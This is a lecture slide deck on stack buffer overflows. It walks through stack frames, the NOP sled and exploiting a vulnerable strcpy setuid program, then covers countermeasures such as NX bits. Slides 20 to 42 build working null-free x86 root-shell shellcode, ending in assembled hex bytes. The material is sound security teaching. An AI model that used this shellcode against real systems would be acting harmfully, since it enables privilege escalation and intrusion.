1 / 66

Stack smashing

Stack smashing. Stack smashing (buffer overflow)‏. One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided by vendors were for buffer overflows 2004: All available exploits: 75% were buffer overflows

Download Presentation

Stack smashing

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Stack smashing

  2. Stack smashing (buffer overflow)‏ One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided by vendors were for buffer overflows 2004: All available exploits: 75% were buffer overflows Examples: Morris worm, Code Red worm, SQL Slammer, Witty worm, Blaster worm How does it work? How can it be prevented?

  3. Remote Buffer Overflow Example Attacker sends a string as input, size of which is larger than the input buffer allocated by the remote server Attacker Server Input buffer allocated by server for input Attacker’s input

  4. Remote Buffer Overflow Example If the server doesn’t do a boundary check, this string overflows the buffer and corrupts the address space of the server (e.g. overwrites the return address on the stack)‏ Attacker Server Corrupts server’s adjacent address space

  5. Recall stack frame void function(int a, int b){ int i = 0; printf( “hello” ); return; } void main() { function(1,2); // What happens here? }

  6. Stack Frame size of a word (e.g. 4 bytes)‏ Stack grows high to low Higher memory address Fn. parameter = b Fn. parameter = a EBP + 8 Return address addresses Old base pointer (Saved Frame Pointer)‏ EBP Local variable = i Lower memory address ESP Calling void function(int a, int b)‏

  7. Simple program size of a word (e.g. 4 bytes)‏ Stack grows high to low void function(){ int x = 0; char buffer[8]; memcpy(buffer,“abcdefg”,8); printf( “%s %d”, buffer, x ); } Output: ... …. Return address Old base pointer (Saved Frame Pointer)‏ int x Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  8. Simple program size of a word (e.g. 4 bytes)‏ Stack grows high to low void function(){ int x = 0; char buffer[8]; memcpy(buffer,“abcdefg”,8); printf( “%s %d”, buffer, x ); } Output: abcdefg 0 …. Return address Old base pointer (Saved Frame Pointer)‏ int x 0x00000000 buffer[4..7] “efg” buffer[0..3] “abcd”

  9. Simple program 2 size of a word (e.g. 4 bytes)‏ Stack grows high to low void function(){ int x = 0; char buffer[8]; memcpy(buffer, “abcdefghijk”,12); printf( “%s %d”, buffer, x ); } Output: ... …. Return address Old base pointer (Saved Frame Pointer)‏ int x Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  10. Simple program 2 size of a word (e.g. 4 bytes)‏ Stack grows high to low void function(){ int x = 0; char buffer[8]; memcopy(buffer, “abcdefghijk”,12); printf( “%s %d”, buffer, x ); } Output: abcdefghijk 7039593 …. Return address Old base pointer (Saved Frame Pointer)‏ int x 0x006b6a69 buffer[4..7] “efgh” buffer[0..3] “abcd”

  11. Buffer Overflow size of a word (e.g. 4 bytes)‏ Stack grows high to low The idea of a buffer overflow… Trick the program into overwriting memory it shouldn’t… a b Return address Old base pointer (Saved Frame Pointer)‏ Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  12. Buffer Overflow size of a word (e.g. 4 bytes)‏ Stack grows high to low We can mess up the program’s memory. What can we do? Insert malicious code. But…How to execute that code? Must change instruction pointer (IP)…. a a b Return address Old base pointer (Saved Frame Pointer)‏ Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  13. Buffer Overflow size of a word (e.g. 4 bytes)‏ Stack grows high to low void function(int a, int b){ char buffer[8]; return; } Return statement: - Clean off the function’s stack frame - Jump to return address Can use this to set the instruction pointer! a a b New Return addr Old base pointer (Saved Frame Pointer)‏ Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  14. Buffer Overflow Stack grows high to low The anatomy of a buffer overflow • Inject malicious code into buffer • Set the IP to execute it by overwriting return address a New Return addr Malicious Code Malicious Code Malicious Code

  15. New diagram Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Buffer Overflow (Injected Data)‏

  16. Buffer Overflow (Idealized)‏ Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Shell Code New Addr Ideally, this is what a buffer overflow attack looks like…

  17. Buffer Overflow (reality)‏ Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Shell Code New Addr Problem #1: Where is the return address located? Have only an approximate idea relative to buffer.

  18. Buffer Overflow (Addr Spam)‏ Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] New Addr New Addr New Addr Shell Code New Addr Solution – Spam the new address we want to overwrite the return address. So it will overwrite the return address

  19. Buffer Overflow (Reality)‏ Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] New Addr New Addr New Addr Shell Code New Addr Problem #2: We don’t know where the shell code starts. (Addresses are absolute, not relative)‏

  20. Quick Peek at the shellcode IP? IP? What happens with a mis-set instruction pointer? Well, the shellcode doesn’t work… xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB' Shell Code

  21. The NOP Sled IP? IP? NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP New idea – NOP Sled NOP = Assembly instruction (No Operation)‏ xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB' Shell Code

  22. Buffer Overflow (Reality)‏ Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] NOP Sled New Addr New Addr New Addr Shell Code New Addr The anatomy of a real buffer overflow attack – Now with NOP Sled!

  23. Stepping back.. We have a means for executing our own code Motivation for our buffer overflow: We want super-user access So, we find a setuid program with a vulnerable buffer Trick it into executing a root shell

  24. Finding a victim Search for things that use strcpy()‏ int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } strcpy() expects a null-terminated string Roughly 500 bytes of memory we can fill in with our shell code

  25. Writing shellcode exploit Let’s discuss how to write some x86 shellcode Additional instruction to know… int <value> interupt –Signal operating system kernel with flag <value> int 0x80 means “System call interrupt” eax – System call number (eg. 1-exit, 2-fork, 3-read, 4-write)‏ ebx – argument #1 ecx – argument #2 edx – argument #3

  26. Goals of Shellcode Spawn a root shell /bin/sh It needs to: setreuid( 0, 0 ) // real UID, effective UID execve( “/bin/sh”, *args[], *env[] ); For simplicity: args points to [“/bin/sh”, NULL] env points to NULL, which is an empty array []

  27. Shellcode Attempt #1 1st part: section .data ; section declaration filepath db "/bin/shXAAAABBBB“ ; the string section .text ; section declaration global _start ; Default entry point for ELF linking _start: ; setreuid(uid_t ruid, uid_t euid)‏ mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen

  28. Shellcode Attempt #1 2nd part: // filepath db "/bin/shXAAAABBBB" ; the string ; execve(const char *filename, char *const argv [], char *const envp[])‏ mov eax, 0 ; put 0 into eax mov ebx, filepath ; put the address of the string into ebx mov [ebx+7], al ; put a NULL where the X is in the string ; ( 7 bytes offset from the beginning)‏ mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset)‏ mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset)‏ mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the ; string into ecx lea edx, [ebx+12] ; Load the address of where the BBBB is in the ; string into edx int 0x80 ; Call the kernel to make the system call happen

  29. Shellcode problem #1 Uses pointers/addresses that are unavailable during exploit filepath db "/bin/shXAAAABBBB“ mov ebx, filepath ;put string address into ebx • We don’t know where this code is going to be relocated. • Can’t use a pointer in our buffer overflow! Uses two segments – a data segment to store “/bin/sh” • Will only be injecting onto the stack

  30. Shellcode Trick #1 Get absolute addresses at run-time Observation: “call” pushes the current instruction pointer onto stack. “call” and “jmp” can take arguments relative to the current instruction pointer We can use this to get address where our data is!

  31. Shellcode Trick #1 Need %ebx to point to string Outline of trick: jmp two one: pop ebx [program code goes here] two: call one db ‘this is a string’

  32. Shellcode Attempt #2 1st part: ; setreuid(uid_t ruid, uid_t euid)‏ mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen jmp short two ; Jump down to the bottom for the call trick one: pop ebx ; pop the "return address" from the stack ; to put the address of the string into ebx [ 2nd part here] two: call one ; Use a call to get back to the top and get the db '/bin/shXAAAABBBB' ; address of this string

  33. Shellcode Attempt #2 2nd part: // the pointer to “/bin/shXAAAABBBB” already in %ebx ; execve(const char *filename, char *const argv [], char *const envp[])‏ mov eax, 0 ; put 0 into eax mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning)‏ mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset)‏ mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset)‏ mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string ; into ecx lea edx, [ebx+12] ; Load the address of where the BBBB was in the string ; into edx int 0x80 ; Call the kernel to make the system call happen

  34. Shellcode Problem #2 Looks like we have a working shellcode now! But… remember how we’re injecting it? strcpy( buffer, argv[1] ); NULLterminated string. Let’s look at the assembled shell code.

  35. Shellcode Problem #2 La Voila! Shellcode! b846 0000 0066 bb00 0000 0066 b900 0000 00cd 80eb 2866 5b66 b800 0000 0067 8843 0766 6789 5b08 6667 8943 0c66 b80b 0000 0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff 2f62 696e 2f73 6858 4141 4141 4242 4242 But all the nulls! If injected bytes include any NULL bytes, it will “terminate” exploit that uses strcpy Where do all these nulls come from?

  36. Shellcode Trick #2a Loading up all the zeros in the registers for various reasons… mov eax, 0 Causes 32-bits of 0’s to be written into our shellcode…

  37. Shellcode Trick #2a Idea! XOR of anything with itself gives us zero mov ebx, 0 -> xor ebx, ebx mov ecx, 0 -> xor ecx, ecx mov eax, 0 -> xor eax, eax 12 nulls removed! • As a nice side-benefit, it’s 9 bytes shorter too! But still, some remaining nulls…

  38. Shellcode Trick #2b Where do the other nulls come from? Must load eax registers with the syscall numbers • setreuid = 70 • execve = 11 mov eax, 70 ~= mov eax, 0x00000046 Idea: Set eax to zero with xor, and then overwrite the low-order byte xor eax, eax mov al, 70

  39. Shellcode attempt #3 1st part: ; setreuid(uid_t ruid, uid_t euid)‏ xor eax, eax ; first eax must be 0 for the next instruction mov al, 70 ; put 70 into eax, since setreuid is syscall #70 xor ebx, ebx ; put 0 into ebx, to set real uid to root xor ecx, ecx ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen jmp short two ; Jump down to the bottom for the call trick one: pop ebx ; pop the "return address" from the stack ; to put the address of the string into ebx [2nd part here] two: call one ; Use a call to get back to the top and get the db '/bin/shXAAAABBBB' ; address of this string

  40. Shellcode attempt #3 2nd part: ; execve(const char *filename, char *const argv [], char *const envp[])‏ xor eax, eax ; put 0 into eax mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning)‏ mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset)‏ mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset)‏ mov al, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string ; into ecx lea edx, [ebx+12] ; Load the address of where the BBBB was in the string ; into edx int 0x80 ; Call the kernel to make the system call happen

  41. Other things we could do.. More tricks to shorten assembly: Push “/bin/sh” onto the stack as immediate values, instead of using the call trick. Shave off bytes, because not all instructions are the same size. Eg. xor eax, eax -> push byte 70 mov al, 70 -> pop eax 4 bytes 3 bytes

  42. Final Shellcode Assembled: 31c0 b046 31db 31c9 cd80 eb16 5b31 c088 4307 895b 0889 430c b00b 8d4b 088d 530c cd80 e8e5 ffff ff2f 6269 6e2f 7368 5841 4141 4142 4242 42 55 bytes! Can be shortened further…

  43. Armed with shellcode now Now that we have the shellcode, let’s revisit the original problem: Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] NOP Sled New Addr New Addr New Addr Shell Code New Addr We have all the components.. Except… How to set the new instruction pointer to poke at our NOP sled?

  44. Insertion address How to find the insertion address? int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; }

  45. Insertion address GDB to find the stack pointer! $ gdb sample (gdb) break main Breakpoint 1 at 0x8048365 (gdb) run Starting program: sample Breakpoint 1, 0x08048365 in main ()‏ (gdb) p $esp $1 = (void *) 0xbffff220 buffer probably near the stack top at this point int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; }

  46. Counter-measures

  47. Lessons from Multics Precursor to UNIX focused on security Included features to make buffer overflow attacks impractical Programming language PL/I Maximum string length must *always* be specified Automatic string truncation if limits are reached Hardware-based memory protection Hardware execution permission bits to ensure data could not be directly executed x86 has some support in its handling of segmentation but most OS implementations do not use it x86-64 now includes “NX” bit Stack grows towards positive addresses Return address stored “below” Overflow writes unused portion of stack and never reaches return address Why did Multics fail? Earl Boebert (quoting Rich Hall) USENIX Security 2004 Economics of being first-to-market with flawed designs “Crap in a hurry”

  48. Better code Search and replace bad code: grep *.c strcpy int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } Hardware support NX bit No-eXecute bits to mark memory pages such as the stack that should not include instructions.

  49. NX (Non-Executable) Page Attribute on AMD64, EM64T and updated Pentium 4 Bit 63 in Page Table Entry is an “NX-bit”; (in PAE mode)‏ When an NX marked page is executed, an exception is generated. W64.Rugrat.3344 is aware of DEP.

  50. No-execute regions Use segment size limits to emulate page table execute permission bits Generalized form of SolarDesigner’s no-exec stack patch Cover other areas as well as stack Kernel keeps track of maximum executable address “exec-limit” Process-dependent Remap all execute regions to “ASCII armor” Contiguous addresses at beginning of memory that have 0x00 (no string buffer overruns)‏ 0x0 to 0x01003fff (around 16MB)‏ Stack and heap are non-executable as result

More Related